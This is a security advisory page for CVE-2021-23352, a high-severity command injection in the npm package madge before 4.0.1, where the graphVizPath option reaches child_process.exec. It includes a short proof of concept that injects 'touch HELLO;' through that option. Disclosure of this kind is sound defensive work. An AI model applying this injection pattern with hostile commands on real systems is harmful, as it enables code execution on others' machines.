~ / search / GHSA-753c-phhg-cj29

GHSA-753c-phhg-cj29

Madge vulnerable to command injection

Source: GitHub Advisory Database (reviewed) High CVE-2021-23352

Packages

EcosystemPackageAffectedFixed in
npm madge < 4.0.1 4.0.1

Details

As written in the advisory (Markdown source, shown as plain text).

This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function. ### PoC ```js const madge = require('madge'); madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); }); ```

References

External links from the advisory. They lead to third-party sites.